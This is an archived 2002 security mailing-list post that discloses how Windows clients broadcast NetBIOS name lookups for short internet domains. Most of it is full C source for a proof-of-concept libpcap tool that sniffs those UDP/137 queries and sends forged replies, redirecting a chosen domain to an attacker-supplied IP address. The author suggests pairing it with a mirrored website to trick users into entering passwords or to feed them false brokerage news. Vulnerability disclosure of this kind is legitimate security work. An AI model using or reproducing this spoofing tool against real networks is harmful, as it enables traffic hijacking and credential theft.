Some weeks ago I noticed a small amount of netbios name service broadcasts on our internal LAN. First I only though about some sort of privacy leak as posted on this list at april 25th. You could receive name resolution requests for internet domains below 17 characters length sent via broadcast to every station connected. I found it important to say by broadcast, so you don't have to sniff or trick at some switches, but you get it delivered right to your desktop! Now I programmed a little tool which could exploit this behavior even further. It's intended as a proof of concept to send false/faked name resolution answers to the clients mentioned above. Preferrably with an IP number of a web server you already put a perfect mirror of the redirected website on. Now you could be able to redirect the clients traffic to this site and either fool him with wrong brokerage news or convince him to enter his usual passwort account data. It compiled here under SuSE Linux 7.2, just enter your domain and ip data on the command line. I tried it in my test LAN and it worked, not only with browsers but also with every other windows application, like mysql clients etc., they all can be redirected this way. And it works only on domain names up to 16 characters. If you ever saw these UDP/137 broadcasts for name resolution requests of the form WWW.DOMAIN.COM these clients might be vulnerable to this sort of simple attack. You can trigger this behavior for testing reasons on any windows pc by disabling dns resolution temporarily, just to trigger only these packets. In real life(tm) we have a broad range of different windows and service pack installations so we didn't get a common dominator yet how only some clients try to resolve this way. -- Think Safety Kai Kretschmann /* 2002(c) by K.Kretschmann@security-gui.de */ /* gcc t3.c -lpcap */ #define _BSD_SOURCE 1 #include <pcap.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <errno.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #include <net/if.h> #include <netinet/if_ether.h> #include <netinet/udp.h> /* globals */ static const char* thedomain; static const char* thenewip; /* Ethernet header */ struct sniff_ethernet { u_char ether_dhost[ETHER_ADDR_LEN]; /* Destination host address */ u_char ether_shost[ETHER_ADDR_LEN]; /* Source host address */ u_short ether_type; /* IP? ARP? RARP? etc */ }; /* IP header */ struct sniff_ip { #if BYTE_ORDER == LITTLE_ENDIAN u_int ip_hl:4, /* header length */ ip_v:4; /* version */ #if BYTE_ORDER == BIG_ENDIAN u_int ip_v:4, /* version */ ip_hl:4; /* header length */ #endif #endif /* not _IP_VHL */ u_char ip_tos; /* type of service */ u_short ip_len; /* total length */ u_short ip_id; /* identification */ u_short ip_off; /* fragment offset field */ #define IP_RF 0x8000 /* reserved fragment flag */ #define IP_DF 0x4000 /* dont fragment flag */ #define IP_MF 0x2000 /* more fragments flag */ #define IP_OFFMASK 0x1fff /* mask for fragmenting bits */ u_char ip_ttl; /* time to live */ u_char ip_p; /* protocol */ u_short ip_sum; /* checksum */ struct in_addr ip_src,ip_dst; /* source and dest address */ }; struct sniff_udp { u_int16_t uh_sport; /* source port */ u_int16_t uh_dport; /* destination port */ u_int16_t uh_ulen; /* udp length */ u_int16_t uh_sum; /* udp checksum */ }; struct sniff_nbns { u_int16_t nh_xid; /* transaction id */ u_int16_t nh_flags; u_int16_t nh_question; u_int16_t nh_answer; u_int16_t nh_authority; u_int16_t nh_additional; char nh_xxx; char nh_name[32]; char nh_yyy; u_int16_t nh_type; u_int16_t nh_class; /* always internet */ }; struct reply_nbns { u_int16_t nh_xid; u_int16_t nh_flags; u_int16_t nh_question; u_int16_t nh_answer; u_int16_t nh_authority; u_int16_t nh_additional; char nh_xxx; char nh_name[32]; char nh_yyy; u_int16_t nh_type; u_int16_t nh_class; u_int16_t nh_ttl1; u_int16_t nh_ttl2; u_int16_t nh_len; u_int16_t nh_flags2; u_int16_t ip_num1, ip_num2; }; u_char *L1_Encode( u_char *dst, const u_char *name ) { int i = 0; int j = 0; /* Encode the name. */ while( ('\0' != name[i]) && (i < 16) ) { dst[j++] = 'A' + ((name[i] & 0xF0) >> 4); dst[j++] = 'A' + (name[i++] & 0x0F); } /* Encode the padding bytes. */ while( j < 32 ) { dst[j++] = 'C'; dst[j++] = 'A'; } /* Terminate the string. */ dst[32] = '\0'; return( dst ); } /* L1_Encode */ int L1_Decode( u_char *name, /* Target. Minimum 16 bytes. */ const u_char *src, /* Message buffer. */ int srcpos, /* Start position of name. */ const int srcmax ) /* Size of source buffer. */ { int i; int suffix; char *p = &src[srcpos]; /* Make sure we have 32 bytes worth of message to read. */ if( (srcmax - srcpos) < 32 ) { name[0] = '\0'; return( -1 ); } /* Convert each source pair to their original octet value. */ for( i = 0; i < 32; i++ ) name[i/2] = ( (( (int)(p[i]) - 'A' ) << 4) + ( (int)(p[++i]) - 'A' ) ); /* Copy out suffix byte and replace with nul terminator. */ suffix = name[15]; name[15] = '\0'; /* Trim off trailing spaces, if any. */ for( i = 14; (i >= 0) && (' ' == name[i]); i-- ) name[i] = '\0'; return( suffix ); /* Return the suffix value as an int. */ } /* L1_Decode */ void do_reply(const struct sniff_ip *ip, const struct sniff_udp *udp, const struct sniff_nbns *nbns) { struct reply_nbns r_nbns; int fd, rc=0; struct in_addr tmpadr; in_addr_t tmp32adr; struct sockaddr_in hissockaddr; // Payload erstellen r_nbns.nh_xid = nbns->nh_xid; r_nbns.nh_flags = htons(0x8500); r_nbns.nh_question = 0; r_nbns.nh_answer = htons(1); r_nbns.nh_authority = 0; r_nbns.nh_additional = 0; r_nbns.nh_xxx = nbns->nh_xxx; memcpy(r_nbns.nh_name, nbns->nh_name, 32); r_nbns.nh_yyy = nbns->nh_yyy; r_nbns.nh_type = nbns->nh_type; r_nbns.nh_class = nbns->nh_class; r_nbns.nh_ttl1 = 0x0000; r_nbns.nh_ttl2 = 0x0001; r_nbns.nh_len = htons(6); r_nbns.nh_flags2 = 0; /*r_nbns.ip_num1 = 0x0102; r_nbns.ip_num2 = 0x0304;*/ inet_aton(thenewip, &tmpadr); tmp32adr = tmpadr.s_addr; r_nbns.ip_num2 = (tmp32adr & 0xFFFF0000L) >> 16; r_nbns.ip_num1 = tmp32adr & 0x0000FFFFL; // send udp packet reply fd = socket(AF_INET, SOCK_DGRAM, 0); if(fd < 0) { fprintf(stderr, "socket failed"); exit; } hissockaddr.sin_family = AF_INET; hissockaddr.sin_addr = ip->ip_src; /*inet_addr("192.168.0.1");*/ hissockaddr.sin_port = htons(137); rc=sendto(fd, (void*)&r_nbns, sizeof(r_nbns), 0, (struct sockaddr*)&hissockaddr, sizeof(hissockaddr)); fprintf(stderr, "sending %d bytes\n", rc); close(fd); } void got_packet(u_char *args, const struct pcap_pkthdr *header, const u_char *packet); void got_packet(u_char *args, const struct pcap_pkthdr *header, const u_char *packet) { static int count=1; char tmpname[16]; /* Define pointers for packet's attributes */ const struct sniff_ethernet *ethernet; /* The ethernet header */ const struct sniff_ip *ip; /* The IP header */ const struct sniff_udp *udp; const struct sniff_nbns *nbns; /* And define the size of the structures we're using */ int size_ethernet = sizeof(struct sniff_ethernet); int size_ip = sizeof(struct sniff_ip); int size_udp = sizeof(struct sniff_udp); /* -- Define our packet's attributes -- */ ethernet = (struct sniff_ethernet*)(packet); ip = (struct sniff_ip*)(packet + size_ethernet); udp = (struct sniff_udp*)(packet + size_ethernet + size_ip); nbns = (struct sniff_nbns*)(packet + size_ethernet + size_ip + size_udp); printf("Packet number %d has just been sniffed\n", count); printf("\tFrom: %s:%d\n", inet_ntoa(ip->ip_src), ntohs(udp->uh_sport)); printf("\tTo: %s:%d\n", inet_ntoa(ip->ip_dst), ntohs(udp->uh_dport)); printf("\tPayload %d\n", ntohs(udp->uh_ulen)); printf("\txid: %x\n", ntohs(nbns->nh_xid)); printf("\tQuestions: %d\n", ntohs(nbns->nh_question)); printf("\tType/Class: %d,%d\n", ntohs(nbns->nh_type), ntohs(nbns->nh_class)); L1_Decode(tmpname, nbns->nh_name, 0, sizeof(nbns->nh_name)); printf("\tname: '%s'\n", tmpname); if(nbns->nh_question > 0 && strcasecmp(tmpname, thedomain)==0) do_reply(ip, udp, nbns); count++; } int main(int argc, char *argv[]) { pcap_t *handle; /* Session handle */ char *dev; /* The device to sniff on */ char errbuf[PCAP_ERRBUF_SIZE]; /* Error string */ struct bpf_program filter; /* The compiled filter */ char filter_app[] = "udp port 137"; /* The filter expression */ bpf_u_int32 mask; /* Our netmask */ bpf_u_int32 net; /* Our IP */ if(3 != argc) { printf("usage: %s domain ip\n", argv[0]); exit(1); } thedomain = argv[1]; thenewip = argv[2]; printf("redirect target domain '%s' to ip '%s'\n", thedomain, thenewip); /* Define the device */ dev = pcap_lookupdev(errbuf); /* Find the properties for the device */ pcap_lookupnet(dev, &net, &mask, errbuf); /* Open the session in promiscuous mode */ handle = pcap_open_live(dev, BUFSIZ, 1, 0, errbuf); /* Compile and apply the filter */ pcap_compile(handle, &filter, filter_app, 0, net); pcap_setfilter(handle, &filter); /* Grab a packet */ pcap_loop(handle, -1, got_packet, NULL); /* And close the session */ pcap_close(handle); return(0); }
This archive was generated by hypermail 2b30 : Mon May 06 2002 - 09:11:47 PDT